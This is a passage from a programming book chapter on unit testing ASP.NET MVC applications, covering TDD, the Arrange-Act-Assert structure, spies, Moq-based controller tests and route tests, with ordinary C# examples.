The services attached via the attributes are cached for the lifetime of the application, just like the built-in services, which means Web API will request them from the dependency resolver attached to the configuration. Controllers, on the other hand, typically have request-scoped lifetimes, so they are requested from the scope that's attached to the request.

Dependency Resolvers in MVC vs. Web API

Although MVC and Web API share the idea of dependency resolvers, the actual interfaces are different, as described previously. In addition, the actual services that might be contained in those dependency resolvers are different, since MVC and Web API share no common service interfaces, either. That means that the implementation of the two dependency resolver interfaces differ, and you shouldn't expect an MVC dependency resolver to work in Web API (or vice versa).

That said, it is perfectly reasonable to have those two dependency resolver interface implementations backed by the same concrete dependency injection container so that any custom services you use throughout your application would be available to both MVC and Web API controllers. You should consult the documentation for your dependency injection container to determine how to use a single container for an application that includes both MVC and Web API.

SUMMARY

The dependency resolvers in ASP.NET MVC and Web API enable several new and exciting opportunities for dependency injection in your web applications. This can help you design applications that reduce tight coupling and encourage better “pluggability,” which tends to lead to more flexible and powerful application development.

Unit Testing

WHAT'S IN THIS CHAPTER?

- Understanding unit testing and test-driven development
- Building a unit test project
- Advice for unit testing your ASP.NET MVC application

Unit testing and developing testable software have become recognized as essential elements in the software quality process. Most professional developers practice some form of unit testing in their daily jobs. Test-driven development (TDD) is a style of writing unit tests where the developer writes a test before writing any production code. TDD allows the developer to evolve the design in an organic way, while still gaining the quality and regression testing benefits of unit tests. ASP.NET MVC was written with unit testing in mind. This chapter focuses on how unit testing (and TDD in particular) applies to ASP.NET MVC.

For users who have never practiced unit testing or TDD, we have included a brief introduction to unit testing and TDD as a form of encouragement to seek out more in-depth information on the practices. Unit testing is a very large subject. This introduction should serve as a guide to whether unit testing and TDD are something you want to research further.

In prior editions of this book, the unit testing chapter was focused heavily on the mechanics of unit testing with a lot of sample code. I've decided to shift the focus to providing a set of real-world tips and tricks that apply to unit testing the specific parts of your ASP.NET MVC application. The second half of this chapter is most useful to those who are already practicing unit testing and looking to get the most out of their craft.

THE MEANING OF UNIT TESTING AND TEST-DRIVEN DEVELOPMENT

When we talk about *software testing*, we are referring to a whole host of different activities, including unit testing, acceptance testing, exploratory testing, performance testing, and scalability testing. To set the stage for this chapter, it's helpful to start with a shared understanding of what is meant by *unit testing* — the subject of this section.

Defining Unit Testing

Most developers have some exposure to unit testing and some opinion on what works best. In our experience, the following attributes tend to be present in most long-term successful unit testing:

- Testing small pieces of production code (“units”)
- Testing in isolation from the rest of the production code
- Testing only public endpoints
- Running the tests gets an automated pass/fail result

The following sections examine each of these rules and how they impact the way you write unit tests.

Testing Small Pieces of Code

When writing a unit test, you're often looking for the smallest piece of functionality that you can reasonably test. In an object-oriented language like C#, this usually means nothing larger than a class, and in most cases, you're testing a single method of a class. The reason to test small pieces of code is that it allows you to write simple tests. These tests should be easy to understand so that you can verify that you're accurately testing what you intended.

Source code is read far more often than it is written; this is especially important in unit tests, which attempt to codify the expected rules and behaviors of the software. When a unit test fails, the developer should be able to quickly read the test to understand what has failed and why, so he or she can better understand how to fix what's broken. Testing small pieces of code with small tests greatly enhances this critical comprehensibility.

Testing in Isolation

Another important aspect of a unit test is that it should very accurately pinpoint where problems are when they arise. Writing code against small pieces of functionality is an important aspect of this, but it's not enough. You need to isolate your code from any other complex code with which it may interact so that you can be fairly sure a test failure is due to bugs in the code you're testing rather than bugs in collaborating code. It is the job of the unit tests of the collaborating code to test whether *it* has bugs.

Testing in isolation has an additional benefit because the code with which you will eventually interact may not yet exist. This is particularly true when you're working on larger teams with

several active developers; several teams may handle interacting pieces of functionality and develop them in parallel. Testing your components in isolation not only allows you to make progress before other components are available, but it also works to help you better understand how components will be interacting with one another and catch design mistakes before integrating those components together.

Testing Only Public Endpoints

Many developers who first start unit testing often feel the most pain when it comes time to change internal implementations of a class. A few changes to code can cause multiple unit tests to fail, and developers can become frustrated trying to maintain the unit tests while making those production changes. A common source of this frustration comes from unit tests that know too much about how the class they're testing works.

When writing unit tests, if you limit yourself to the public endpoints of the product (the integration points of a component), you are isolating the unit tests from many of the internal implementation details of the component. This means that changing the implementation details will break your unit tests far less often.

Automated Results

Given that you'll write tests against small pieces of code, it's pretty clear that you'll eventually have a large number of unit tests. To gain the benefits of unit tests, you will want to run them frequently as you develop them, to ensure that you're not breaking existing functionality while you do your work. If this process is not automated, it can result in a big productivity drain on the developer (or worse, it becomes an activity that the developer actively avoids). It's also important that the result of unit tests is a simple pass or fail judgment; unit test results should not be open to interpretation.

To help the automation process, developers usually resort to using a unit-testing framework. Such frameworks generally allow the developer to write tests in their preferred programming language and development environment, and then create a set of pass/fail rules that the framework can evaluate to determine whether or not the test was successful. Unit-testing frameworks generally come with a piece of software called a *runner*, which discovers and executes unit tests in your projects. There are generally a large variety of such runners; some integrate into Visual Studio, some run from a command line, and others come with a GUI, or even integrate with automated build tools (like build scripts and automated build servers).

Unit Testing as a Quality Activity

Most developers choose to write unit tests because it increases the quality of their software. In this situation, unit testing acts primarily as a quality assurance mechanism, so it's fairly common for the developer to write the production code first, and then write the unit tests afterwards. Developers use their knowledge of the production code and the desired end-user behavior to create the list of tests that help assure them that the code behaves as intended.

Unfortunately, there are weaknesses with this ordering of tests after production code. It's easy for developers to overlook some piece of the production code that they've written, especially if the unit tests are written long after the production code was written. It's not uncommon for developers to

write production code for days or weeks before getting around to the final part of unit testing, and it requires an extremely detail-oriented person to ensure that every avenue of the production code is covered with an appropriate unit test. What's worse is that after several weeks of coding, developers are more likely to want to write more production code than to stop and write unit tests. TDD works to solve some of those shortcomings.

Defining Test-Driven Development

Test-driven development is the process of using unit tests to drive the *design* of your production code by writing the tests first, and then writing just enough production code to make the tests pass. On its surface, the end result of traditional unit testing and TDD is the same: production code along with unit tests that describe the expected behavior of that code, which you can use to prevent behavior regression. If both are done correctly, it can often be impossible to tell by looking at the unit tests whether the tests came first or the production code came first.

When we talk about unit testing being a quality activity, we are speaking primarily of the quality activity of reducing bugs in the software. Practicing TDD achieves this goal, but it is a secondary goal; the primary purpose of TDD is to increase the quality of the *design*. By writing the unit tests first, you describe the way you want components to behave *before* you've written any of the production code. You cannot accidentally tie yourself to any specific implementation details of the production code because those implementation details don't yet exist. Rather than peeking inside the innards of the code under test, the unit tests become consumers of the production code in much the same way that any eventual collaborator components will consume it. These tests help to shape the API of components by becoming the first users of the APIs.

The Red/Green Cycle

You still follow all the same guidelines for unit tests set out earlier: Write small, focused tests against components in isolation, and run them in an automated fashion. Since you write the tests first, you often get into a rhythm when practicing TDD:

1. Write a unit test.
2. Run it and watch it fail (because the production code is not yet written).
3. Write just enough production code to make the test pass.
4. Re-run the test and watch it pass.

This cycle is repeated over and over again until the production code is completed. This cycle is often called the *red/green cycle* because most unit-testing frameworks represent failed tests with red text/UI elements and passed tests with green. It's important to be diligent in this process. Don't write any new production code unless there is a failing unit test that tells you what you're doing. Once the test passes, stop writing new production code (until you have a new test that is failing). When practiced regularly, this teaches you when to stop writing new code. Just do enough to make a test pass, and then stop; if you're tempted to keep going, describe the new behavior you want to implement in another test. This not only gives you the bug quality benefits of having no undescribed functionality, but it also gives you a moment to pause and consider whether you really need the new functionality and are willing to commit to supporting it long term.

You can also use the same rhythm when fixing bugs. You may need to debug around in the code to discover the exact nature of the bug, but once you've discovered it, you write a unit test that

describes the behavior you want, watch it fail, and then modify the production code to correct the mistake. You'll have the benefit of the existing unit tests to help you ensure that you don't break any existing expected behavior with your change.

Refactoring

Following the pattern described here, you'll often find yourself with messy code as a result of these very small incremental code changes. You've been told to stop when the light goes green, so how do you clean up the mess you've made by piling small change on top of small change? The answer is *refactoring*.

The word refactoring can be overloaded, so we should be very clear that when we talk about refactoring, we mean *the process of changing the implementation details of production code without changing its externally observable behavior*. What this means in practical terms is that refactoring is a process you undertake only when all unit tests are passing. As you refactor and update your production code, the unit tests should continue to pass. Don't change any unit tests when refactoring; if what you're doing requires unit test changes, then you're adding, deleting, or changing functionality, and that should first be done with the rhythm of writing tests discussed in the section "The Red/Green Cycle." Resist the temptation to change tests and production code all at the same time. Refactoring should be a mechanical, almost mathematical process of structured code changes that do not break unit tests.

Structuring Tests with Arrange, Act, Assert

Many of the unit testing examples in this book will follow a structure called "Arrange, Act, Assert" (sometimes abbreviated as 3A). This phrase (coined by William C. Wake in http://weblogs.java.net/blog/wwake/archive/2003/12/tools_especiall.html) describes a structure for your unit tests that reads a bit like three paragraphs:

- **Arrange:** Get the environment ready.
- **Act:** Call the method under test.
- **Assert:** Ensure that what you expected to happen, happened.

A unit test written in 3A style looks something like this:

```
[TestMethod]
public void PoppingReturnsLastPushedItemFromStack()
{
    // Arrange
    Stack<string> stack = new Stack<string>();
    string value = "Hello, World!";
    stack.Push(value);

    // Act
    string result = stack.Pop();

    // Assert
    Assert.AreEqual(value, result);
}
```

I've added the `Arrange`, `Act`, and `Assert` comments here to illustrate the structure of the test, though it is sometimes common to include them in real tests as well. The `arrange` in this case creates

an empty stack and pushes a value onto it. These are the pre-conditions in order for the test to function. The *act*, popping the value off the stack, is the single line under test. Finally, the *assert* tests one logical behavior: that the returned value was the same as the value pushed onto the stack. If you keep your tests sufficiently small, even the comments are unnecessary; blank lines are sufficient to separate the sections from one another.

The Single Assertion Rule

When you look at the 3A stack example, you'll see only a single assert to ensure that you got back the expected value. Aren't there a lot of other behaviors you could assert there as well? For example, you know that once you pop off the value, the stack is empty; shouldn't you make sure it's empty? And if you try to pop another value, it should throw an exception; shouldn't you test that as well?

Resist the temptation to test more than one behavior in a single test. A good unit test is about testing a very small bit of functionality, usually a single behavior. The behavior you're testing here isn't the large behavior of "all properties of a recently emptied stack;" rather, it's the small behavior of popping a known value from a non-empty stack. To test the other properties of an empty stack, you should write more unit tests, one per small behavior you want to verify.

Keeping your tests svelte and single-focused means that when you break something in your production code, you're more likely to break only a single test. This, in turn, makes it much easier to understand what broke and how to fix it. If you mix several behaviors into a single unit test (or across several unit tests), a single behavior break might cause dozens of tests to fail and you'll have to sift through several behaviors in each one to figure out exactly what's broken.

Some people call this the *single assertion* rule. Don't confuse this with thinking that your tests should have only a single call to `Assert`. Often, it's necessary to call `Assert` several times to verify one logical piece of behavior; that's perfectly fine, so long as you remember to test just one behavior at a time.

CREATING A UNIT TEST PROJECT

The MS Test unit-testing framework is included with all paid editions of Visual Studio 2010 (it is not included in Visual Web Developer Express 2010); if you're using Visual Studio 2012, unit testing is even included in the free editions and contains a much-improved unit test runner. Although you can create unit test projects directly inside of Visual Studio, it can be a lot of work getting started with unit testing your MVC application. The ASP.NET MVC team included unit-testing capability in the New Project dialog for MVC applications, as shown in Figure 13-1.

By selecting the Create a Unit Test Project checkbox, you're telling the ASP.NET MVC New Project Wizard not only to create an associated unit test project, but also to populate it with a set of default unit tests. These default unit tests can help new users understand how to write tests against an MVC application.

FIGURE 13-1

THIRD-PARTY UNIT-TESTING FRAMEWORKS

The Test Framework combo box on the ASP.NET MVC New Project Wizard allows you to select which unit-testing framework you'd like to use. For users with the paid editions of Visual Studio, this will include a combo box, Visual Studio Unit Test, designed to be supplemented by third-party unit-testing frameworks. Check with your unit-testing framework of choice and see if it supports ASP.NET MVC.

Examining the Default Unit Tests

The default application templates give you just enough functionality to get you started with your first application. When you create the new project, it automatically opens `HomeController.cs` for

you.HomeController.cs contains three action methods (Index, About, and Contact). This is the source for the Index action:

```
public ActionResult Index()
{
    ViewBag.Message = "Modify this template to jump-start
                      your ASP.NET MVC application.";

    return View();
}
```

This is fairly straightforward code. A welcome message is set into the weakly typed data sent to the view (the `ViewBag` object), and then a view result is returned. If you expected the unit tests to be relatively simple, you'd be right. In the default unit test project, there is exactly one test for the Index action:

```
[TestMethod]
public void Index()
{
    // Arrange
    HomeController controller = new HomeController();

    // Act
    ViewResult result = controller.Index() as ViewResult;

    // Assert
    Assert.AreEqual("Modify this template to jump-start your
                    ASP.NET MVC application.", result.ViewBag.Message);
}
```

This is a pretty good unit test: it's written in 3A form, and at three lines of code, it's quite simple to understand. However, even this unit test has room for improvement. Our action method is only two lines of code, but it's actually doing three things:

- It sets the welcome message into `ViewBag`.
- It returns a view result.
- The view result uses the default view.

For starters, you can see that this unit test is actually testing two of these three concerns (and it has a potential subtle bug, at that). Since you want your unit tests to be as small and single-focused as possible, you can see that you probably have at least two tests here (one for the message and one for the view result); if you wanted to write three, we wouldn't fault you for it.

The subtle bug in the test is the use of the `as` keyword. The `as` keyword in C# attempts to convert the value to the given type, and if it's not compatible, it returns `null`. However, in the assertion, the unit test dereferences the `result` reference without ever checking to see if it's `null`. Let's mark that up as a fourth concern to be tested: the action method should never return `null`.

The cast is an interesting *code smell* — that is, something you look at and wonder whether it's really the right thing. Is the cast really necessary? Obviously, the unit test needs to have an instance of the

ViewResult class so that it can get access to the ViewBag property; that part isn't in question. But can you make a small change to the action code so that the cast is unnecessary? You can, and should:

```
public ViewResult Index()
{
    ViewBag.Message = "Modify this template to jump-start
                      your ASP.NET MVC application.";
    return View();
}
```

By changing the return value of the action method from the general ActionResult to the specific viewResult, you've more clearly expressed the intention of your code: This action method always returns a view. Now you're down from four things to test to three with just a simple change of the production code. If you ever need to return anything else besides ViewResult from this action (for example, sometimes you'll return a view and sometimes you'll do a redirect), then you're forced to move back to the ActionResult return type. If you do that, it's very obvious that you must test the actual return type as well, because it won't always be the same return type.

Go ahead and rewrite the one test into two:

```
[TestMethod]
public void IndexShouldAskForDefaultView()
{
    HomeController controller = new HomeController();

    ViewResult result = controller.Index();

    Assert.IsNotNull(result);
    Assert.IsNull(result.ViewName);
}

[TestMethod]
public void IndexShouldSetWelcomeMessageInViewBag()
{
    HomeController controller = new HomeController();

    ViewResult result = controller.Index();

    Assert.AreEqual("Modify this template to jump-start your
                    ASP.NET MVC application.", result.ViewBag.Message);
}
```

You should feel much better about these tests now. They're still simple, but they should be free of the subtle bugs that affected the other test, and you're clearly testing the two pieces of independent behavior that are happening in this action method. It's also worth noting that you've given the tests much longer and more descriptive names. I've found that longer names mean you're more likely to understand the reason a test fails without even needing to look at the code inside the test. You might have no idea why a test named Index might fail, but you have a pretty good idea why a test named IndexShouldSetWelcomeMessageInViewBag would fail.

ELIMINATING DUPLICATION IN THE UNIT TESTS

You may have noticed that the two new unit tests have what you might call a significant overlap of code. With the production code, you will often refactor so that you can clean up the code and eliminate duplication. Should you do the same with unit tests?

You can, but you should be careful when and how you go about eliminating duplication. Most unit test frameworks have functionality that allows you to write code that executes before every test in a test class. This seems like an ideal place to move your duplicated code. For example, your two newly rewritten unit tests could be refactored like this:

```
[TestClass]
public class IndexTests
{
    private HomeController controller;
    private ViewResult result;

    [TestInitialize]
    public void SetupContext()
    {
        controller = new HomeController();

        result = controller.Index();
    }

    [TestMethod]
    public void ShouldAskForDefaultView()
    {
        Assert.IsNotNull(result);
        Assert.IsNull(result.ViewName);
    }

    [TestMethod]
    public void ShouldSetWelcomeMessageInViewBag()
    {
        Assert.AreEqual("Modify this template to jump-start
                        your ASP.NET MVC application.",
                        result.ViewBag.Message);
    }
}
```

Is this better? On the good side, it certainly reduced the code duplication, but on the bad side, it's moved both your *arrange* and your *act* out of the test method. Removing the locality of the setup code can make the test harder to follow, especially as the size of your test class grows with many tests. The community seems to be split on whether you should keep the duplication in the name of clarity, or reduce the duplication in the name of maintenance.

If you plan to practice unit testing in this fashion, it's probably best to move to using one test class per *context*; in this case, context means *common setup code*. Instead of grouping all tests for one production class into a single test class, you group them based on the commonality of their setup code. Instead of test classes with names like `PushTests`, you end up with test classes like `EmptyStackTests`.

Trying to combine this kind of refactoring with “one test class per production class” is a recipe for disaster. As you add tens (or hundreds) of tests to a single test class, the necessary setup to support all those tests becomes overwhelming, and it won’t be clear which lines of the setup code are needed for which unit tests. We strongly advise moving to something like test class per context for maintainability.

Test Only the Code You Write

One of the more common mistakes that people new to unit testing and TDD make is to test code they didn't write, even if inadvertently. Your tests should be focused on the code that you wrote, and not the code or logic that it depends upon.

For a concrete example, look at this example action method:

```
public ActionResult About()
{
    return View();
}
```

Action methods don't get much simpler than this. You should be able to get away with a fairly simple unit test for this code:

```
[TestMethod]
public void AboutShouldAskForDefaultView()
{
    HomeController controller = new HomeController();

    ViewResult result = (ViewResult)controller.About();

    Assert.IsNotNull(result);
    Assert.IsNull(result.ViewName);
}
```

When a controller action is invoked and a view is rendered by the MVC pipeline, a whole lot of stuff happens: Action methods are located by MVC, they are called with model binders invoked for any action parameters, the result is taken from the method and executed, and the resulting output is sent back to the browser. In addition, because you asked for the default view, that means the system attempts to find a view named `About` (to match your action name), and it will look in the `~/Views/Home` and `~/Views/Shared` folders to find it.

This unit test doesn't concern itself with any of that code. We focus on the code under test and none of its collaborators. Tests that test more than one thing at a time are called *integration tests*. If you

look, there are no tests anywhere for that because all the rest of that behavior is provided by the MVC framework itself, and not any code you wrote. From a unit test perspective, you must trust that the MVC framework is capable of doing all those things. Testing everything running together is also a valuable exercise, but it's outside the scope of unit testing.

Let's focus for a moment on the `ViewResult` class. That is a direct result of calling the `About` action. Shouldn't you at least test its ability to look for the `About` view by default? You can say no, because it is code you didn't write (the MVC framework provided it), but even that argument isn't necessary. You can say no, even if it was your own custom action result class, because that's not the code you're testing right now. You are currently focused on the `About` action. The fact that it uses a specific action result type is all you need to know; exactly what it does is the concern of the unit test for that piece of code. You can safely assume, whether the action result is written by you or by the ASP.NET team, that the action result code is sufficiently tested on its own.

TIPS AND TRICKS FOR UNIT TESTING ASP.NET MVC APPLICATIONS

Now that you have the necessary tools in your belt, let's take a closer look at some of the more common unit-testing tasks in ASP.NET MVC applications.

Testing Controllers

The default unit test project already includes some controller tests (which you modified earlier in this chapter). A surprising number of subtleties are involved with testing controllers, and as with all things, the subtleties between decent and great code can often be found in small differences.

Keeping Business Logic out of Your Controllers

The primary purpose of a controller in a Model-View-Controller architecture is to be the coordinator between the model (where your business logic lives) and the view (where your user interface lives). The controller is the dispatcher that wires everybody together and gets everybody running.

When we talk about business logic, it could be something as simple as data or input validation, or something as complex as applying long-running processes like core business workflow. As an example, controllers shouldn't try to validate that models are correct; that is the purpose of the business model layer. A controller should, however, concern itself with what actions to take when it has been told that the model isn't valid (perhaps re-displaying a particular view when it's invalid, or sending the user off to another page when the model is valid).

Since your controller action methods will be relatively simple, the unit tests for your action methods should be correspondingly simple. You also want to try to keep business knowledge out of the unit test, just as you could out of the controllers.

To make this advice concrete, consider the case of models and validation. The differences between a good unit test and a bad one can be fairly subtle. A good unit test would provide a fake business logic layer that tells the controller that the model is valid (or not) based on the needs of the test; a bad unit test would cobble together good or bad data and let the existing business logic layer tell the controller whether it's good or bad. The bad unit test is testing two components at once (the

controller action and the business layer). A less obvious problem with the bad unit test, though, is that it has baked into it the knowledge of what bad data actually is; if the definition of bad data changes over time, then the test becomes broken, perhaps causing a false negative (or worse, a false positive) when running the test.

Writing the good unit test requires a little more discipline in the design of the controller, which leads directly to my second piece of advice.

Passing Service Dependencies via Constructor

To write the good unit test just discussed, you need to substitute in a fake business layer. If the controller has a direct tie into the business layer, this can be quite challenging. If, on the other hand, it takes the business layer as a service parameter via the constructor, it becomes trivial for you to provide the fake.

This is where the advice of Chapter 12 can really shine. ASP.NET MVC 3 introduced some simple ways to enable dependency injection in your application, making it not only possible but trivial to support the idea of getting services via constructor parameters. You can now leverage that work very easily in your unit tests, to help test in isolation (one of our three critical aspects of unit testing).

To test these service dependencies, the services need to be replaceable. Usually that means you need to express your services in terms of interfaces or abstract base classes. The fake substitutes that you write for your unit tests can be handwritten implementations, or you can use a mocking framework to simplify the implementation for you. There are even special kinds of dependency injection containers called *auto-mocking containers* that automatically create the implementations as needed.

A common practice for handwriting a fake service is called a *spy*, which simply records the values that it is passed so that it can later be inspected by the unit test. For example, assume that you have a math service (a trivial example, I know) with the following interface:

```
public interface IMathService
{
    int Add(int left, int right);
}
```

The method in question takes two values and returns one. The real implementation of math service is obviously going to add the two values together. The spy implementation might look something like this:

```
public class SpyMathService : IMathService
{
    public int Add_Left;
    public int Add_Right;
    public int Add_Result;

    public int Add(int left, int right)
    {
        Add_Left = left;
        Add_Right = right;
        return Add_Result;
    }
}
```

Now your unit test can create an instance of this spy, set `Add_Result` with the value that it wants passed back when `Add` is called, and after the test is complete, it can make assertions on the `Add_Left` and `Add_Right` values, to ensure that correct interaction happened. Notice that our spy doesn't add the values together; we're only concerned with the values going into and out of the math service:

```
[TestMethod]
public void ControllerUsesMathService()
{
    var service = new SpyMathService { Add_Result = 42; }
    var controller = new AdditionController(service);

    var result = controller.Calculate(4, 12);

    Assert.AreEqual(service.Add_Result, result.ViewBag.TotalCount);
    Assert.AreEqual(4, service.Add_Left);
    Assert.AreEqual(12, service.Add_Right);
}
```

Favoring Action Results over HttpContext Manipulation

You can think of the ASP.NET core infrastructure as the `IHttpModule` and `IHttpHandler` interfaces, plus the `HttpContext` hierarchy of classes (`HttpRequest`, `HttpResponse`, and so on). These are the fundamental underlying classes that all ASP.NET is built upon, whether that means Web Forms, MVC, or Web Pages.

Unfortunately, these classes aren't very test-friendly. There is no way to replace their functionality, which makes testing any interactions with them very difficult (although not impossible). .NET 3.5 SP1 introduced an assembly named `System.Web.Abstractions.dll`, which created abstract class versions of these classes (`HttpContextBase` is the abstract version of `HttpContext`). Everything in MVC is written against these abstract classes instead of their original counterparts, and it makes testing code that interacts with these classes much easier.

It's not perfect, though. These classes still have very deep hierarchies, and most of them have dozens of properties and methods. Providing spy versions of these classes can be very tedious and error-prone, so most developers resort to mocking frameworks to make the work easier. Even so, setting up the mocking frameworks can be tedious and repetitive work. Controller tests are going to be numerous, so you want to minimize the pain involved in writing them.

Consider the `RedirectResult` class in MVC. The implementation of this class is fairly straightforward: It just calls `HttpContextBase.Response.Redirect` on your behalf. Why did the team go to all the trouble to create this class, when you're trading one line of code for another (slightly simpler) line of code? The answer is: to make unit testing easier.

To illustrate, write a hypothetical action method that does nothing but redirect you to another part of the site:

```
public void SendMeSomewhereElse()
{
    Response.Redirect("~/Some/Other/Place");
}
```

This action is fairly straightforward to understand, but the test is a lot less straightforward than we'd like. Using the Moq mocking framework (available at <http://code.google.com/p/moq/>), your unit test might look like this:

```
[TestMethod]
public void SendMeSomewhereElseIssuesRedirect()
{
    var mockContext = new Mock<ControllerContext>();
    mockContext.Setup(c =>
        c.HttpContext.Response.Redirect("~/Some/Other/Place"));
    var controller = new HomeController();
    controller.ControllerContext = mockContext.Object;

    controller.SendMeSomewhereElse();

    mockContext.Verify();
}
```

That's a couple of extra ugly lines of code, even after you figure out how to write them! `Redirect` is probably one of the simplest things you can do, too. Imagine that you had to write code like this every time you wanted to write a test for an action. Believe me when I say that the source listing for the necessary spy classes would take several pages, so Moq is actually pretty close to the ideal situation for the test. However, with a small change, the controller reads roughly the same, but the unit test becomes much more readable:

```
public RedirectToRouteResult SendMeSomewhereElse()
{
    return Redirect("~/Some/Other/Place");
}

[TestMethod]
public void SendMeSomewhereElseIssuesRedirect()
{
    var controller = new HomeController();

    var result = controller.SendMeSomewhereElse();

    Assert.AreEqual("~/Some/Other/Place", result.Url);
}
```

When you encapsulate your interactions with `HttpContext` (and friends) inside of an action result, you're moving the testing burden to a single isolated place. All your controllers can reap the benefit of much more readable tests for themselves. Just as important, if you need to change the logic, you have a single place to change it (and only a handful of tests to change, instead of needing to change dozens or hundreds of controller tests).

Favoring Action Parameters over UpdateModel

The model binding system in ASP.NET MVC is what is responsible for translating incoming request data into values that your actions can use. That request data might come from form posts, from query string values, and even from parts of the path of the URL. No matter where that data comes

from, though, there are two common ways to get it in your controller: as an action parameter, and by calling `UpdateModel` (or its slightly wordier sibling `TryUpdateModel`).

Here is an example of an action method using both techniques:

```
[HttpPost]
public ActionResult Edit(int id)
{
    Person person = new Person();
    UpdateModel(person);

    [...other code left out for clarity...]
}
```

The `id` parameter and the `person` variable are using the two aforementioned techniques. The unit testing benefit to using the action parameter should be obvious: It's trivial for the unit test to provide an instance of whatever type your action method needs, and there is no need to change any of the infrastructure to make it happen. `UpdateModel`, on the other hand, is a non-virtual method on the `Controller` base class, which means that you cannot easily override its behavior.

If you truly need to call `UpdateModel`, you have several strategies to feed your own data to the model binding system. The most obvious is overriding `ControllerContext` (as shown in the previous section "Favoring Action Results over `HttpContext` Manipulation"), and providing fake form data for the model binders to consume. The `Controller` class also has ways to provide model binders and/or value providers that can be used to provide the fake data. It should be clear from our exploration of mocking, though, that these options are a last resort.

Using Action Filters for Orthogonal Activities

This piece of advice is similar to the one about action results. The core recommendation is to isolate code that might be harder to test into a reusable unit, so the difficult testing becomes tied up with that reusable unit, and not spread all throughout your controller tests.

That doesn't mean you have no unit-testing burden, though. Unlike the action result situation, you don't have any input or output that you can directly inspect. An action filter is usually applied to an action method or a controller class. In order to unit test this, you merely need to ensure that the attribute is present, and leave testing the actual functionality to someone else. Your unit test can use some simple reflection to find and verify the existence of the attribute (and any important parameters you want to check).

An important aspect of action filters, though, is that they don't run when your unit tests invoke the actions. The reason action filters do their work in a normal MVC application is because the MVC framework itself is responsible for finding them and running them at the right time. There is no "magic" in these attributes that makes them run just because the method they're attached to is running.

When you're running actions in your unit tests, remember that you cannot rely on the action filters executing. This may slightly complicate the logic in the action method, depending on what the action filter does. If the filter adds data to the `ViewBag` property, for example, that data is not present when the action runs under the unit test. You need to be conscious of that fact both in the unit tests and in the controller itself.

The advice in this section's title recommends action filters should be limited to orthogonal activities precisely because the action filter doesn't run in the unit test environment. If the action filter is doing something that's critical for the execution of the action, your code probably belongs somewhere else (like a helper class or service instead of a filter attribute).

Testing Routes

Testing routes tends to be a fairly straightforward process once you've figured out all the bits of infrastructure that need to be in place. Because routing uses the core ASP.NET infrastructure, you'll rely on Moq to write the replacements.

The default MVC project template registers two routes inside of your `global.asax` file:

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

    routes.MapRoute(
        "Default",
        "{controller}/{action}/{id}",
        new { controller = "Home", action = "Index", id = UrlParameter.Optional }
    );
}
```

It's very convenient that the MVC tooling created this function as a public static function. This means you can very easily call this from your unit test with an instance of `RouteCollection` and get it to map all your routes into the collection for easy inspection and execution.

Before you can test this code, you need to understand a little bit about the routing system. Some of this was covered in Chapter 9, but the part that's important for you to understand now is how the underlying route registration system works. If you examine the `Add` method on `RouteCollection`, you'll see that it takes a name and an instance of the `RouteBase` type:

```
public void Add(string name, RouteBase item)
```

The `RouteBase` class is abstract, and its primary purpose is to map incoming request data into route data:

```
public abstract RouteData GetRouteData(HttpContextBase httpContext)
```

MVC applications don't generally use the `Add` method directly; instead, they call the `MapRoute` method (an extension method provided by the MVC framework). Inside the body of `MapRoute`, the MVC framework itself does the work of calling `Add` with an appropriate `RouteBase` object. For your purposes, you really only care about the `RouteData` result; specifically, you want to know which handler is invoked, and what the resulting route data values are.

Testing Calls to `IgnoreRoute`

You'll start with the call to `IgnoreRoute`, and write a test that shows it in action:

```
[TestMethod]
public void RouteForEmbeddedResource()
{
    // Arrange
```

```

var mockContext = new Mock<HttpContextBase>();
mockContext.Setup(c => c.Request.AppRelativeCurrentExecutionFilePath)
    .Returns("~/handler.axd");
var routes = new RouteCollection();
MvcApplication.RegisterRoutes(routes);

// Act
RouteData routeData = routes.GetRouteData(mockContext.Object);

// Assert
Assert.IsNotNull(routeData);
Assert.IsInstanceOfType(routeData.RouteHandler,
    typeof(StopRoutingHandler));
}

```

The *arrange* section creates a mock of the `HttpContextBase` type. Routing only needs to know what the request URL is, and to do that, it calls `Request.AppRelativeCurrentExecutionFilePath`. All you need to do is tell Moq to return whatever URL you want to test whenever routing calls that method. The rest of the *arrange* section creates an empty route collection, and asks the application to register its routes into the collection.

The *act* line then asks the routes to act on the request and tell you what the resulting `RouteData` is. If there were no matching routes, the `RouteData` instance would be `null`, so your first test is to ensure that you did match some route. For this test, you don't care about any of the route data values; the only thing that's important is for you to know that you hit an ignore route, and you know that because the route handler will be an instance of `System.Web.Routing.StopRoutingHandler`.

Testing Calls to MapRoute

It's probably more interesting to test calls to `MapRoute` because these are the routes that actually match up with your application functionality. Though you only have one route by default, you have several incoming URLs that might match this route.

Your first test ensures that incoming requests for the homepage map to your default controller and action:

```

[TestMethod]
public void RouteToHomePage()
{
    var mockContext = new Mock<HttpContextBase>();
    mockContext.Setup(c => c.Request.AppRelativeCurrentExecutionFilePath)
        .Returns("~/");
    var routes = new RouteCollection();
    MvcApplication.RegisterRoutes(routes);

    RouteData routeData = routes.GetRouteData(mockContext.Object);

    Assert.IsNotNull(routeData);
    Assert.AreEqual("Home", routeData.Values["controller"]);
    Assert.AreEqual("Index", routeData.Values["action"]);
    Assert.AreEqual(UrlParameter.Optional, routeData.Values["id"]);
}

```

Unlike the ignore route tests, in this test you want to know what values are going inside of your route data. The values for controller, action, and id are filled in by the routing system. Because you have three replaceable parts to this route, you'll end up with four tests that probably have data and results like those in Table 13-1. If your unit-testing framework supports data-driven tests, routes are an excellent place to take advantage of such features.

TABLE 13-1: Default Route Mapping Examples

URL	CONTROLLER	ACTION	ID
~/	Home	Index	UrlParameter.Optional
~/Help	Help	Index	UrlParameter.Optional
~/Help>List	Help	List	UrlParameter.Optional
~/Help/Topic/2	Help	Topic	2

Testing Unmatched Routes

Don't. Seriously, just don't. The tests you've written up until now were tests of code that we wrote — namely, calls to `IgnoreRoute` or `MapRoute`. If you write a test for unmatched routes, you're just testing the routing system at that point. You can assume that just works.

Testing Validators

The validation system in ASP.NET MVC takes advantage of the Data Annotations library in .NET, including support for self-validating objects that implement the `IValidatableObject` interface and context-based validation that allows validators to have access to the “container” object where the property being validated resides. MVC extends this validation system with an interface named `IClientValidatable`, designed to make it easier for validation attributes to participate in client-side validation. In addition to the built-in `DataAnnotations` validation attributes, MVC adds two new validators: `CompareAttribute` and `RemoteAttribute`.

